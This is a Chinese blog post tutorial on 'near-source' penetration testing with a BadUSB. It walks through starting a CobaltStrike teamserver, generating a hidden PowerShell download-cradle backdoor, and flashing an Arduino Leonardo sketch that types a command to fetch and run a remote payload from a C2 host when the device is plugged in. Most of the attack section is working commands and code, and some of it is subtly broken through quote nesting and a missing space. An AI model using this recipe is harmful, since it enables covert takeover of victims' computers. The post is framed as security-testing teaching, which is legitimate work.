近源渗透-BadUsb

zZ华 2023-07-05 发布于广东

展开全文

前言

随着攻防演练不断的变化，不同于以往只通过网络进行传统攻击的方式，近源渗透测试是指攻击人员靠近或者位于攻击目标内部，利用各类智能设备、通信技术、物理接口等方法进行突破。

HID是Human Interface Device的缩写，由其名称可以了解HID设备是直接与人交互的设备，例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口，只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上，因为只要控制了用户键盘，基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中，当用户将含有攻击向量的鼠标或键盘，插入电脑时，恶意代码会被加载并执行。

前段时间看过一段新闻，国外安全研究员发现黑客组织FIN7（主要攻击酒店和零售业的APT组织。）将BADUSB伪装礼品卡对目标发起攻击。

黑客通过给客户寄BADUSB，当用户将其插入电脑后，会自动执行powershell脚本，下载并植入恶意程序，从而控制目标主机，下图为攻击流程。

之前水过一篇相关文章，由Arduino Leonardo初识BadUsb所以具体的基础知识及arduino驱动安装等等不再赘述了，烦请自行阅读。

1 试验环境

实验环境所需:

CobaltStrike

BadUsb

arduino IDE

目标机器

2 CS准备工作

CobaltStrike生成木马：

( 1 ) 启动CobaltStrike服务端：

./teamserver vps 的 ip 设置用于登录团队服务器的密码 指定 profile[暂时可不指定,直接使用默认的 profile]。

( 2 ) 启动CobaltStrike客户端

javaw -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar

( 3 ) 设置监听器

( 4 ) 生成powershell后门下载链接


powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://192.168.0.106:80/badusb'))'

使用CobaltStrike生成Powershell：

通过CobaltStrike将生成的PowerShell文件文件部署到站点上：

http://192.168.0.106:808/badusb.ps1

3 Arduino准备工作

Arduino编写并烧录：


badusb插入电脑 打开Arduino IDE 工具->开发板->选择“Arduino Leonardo” 工具->端口>选择“COM* (Arduino Leonardo)” 现在可以看到IDE右下角出现“Arduino Leonardo on COM*”

写入代码：


#include<Keyboard.h>void setup(){Keyboard.begin(); //开始键盘通讯delay(1000);  //延时Keyboard.press(KEY_LEFT_GUI); //win键Keyboard.press('r');//r键delay(500);Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');delay(500);Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法Keyboard.release(KEY_CAPS_LOCK);delay(300);Keyboard.println('cmd.exe /c powershell.exe IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.0.106:808/badusb.ps1')');Keyboard.press(KEY_RETURN);Keyboard.release(KEY_RETURN);delay(500);Keyboard.end();//结束键盘通讯}void loop(){
}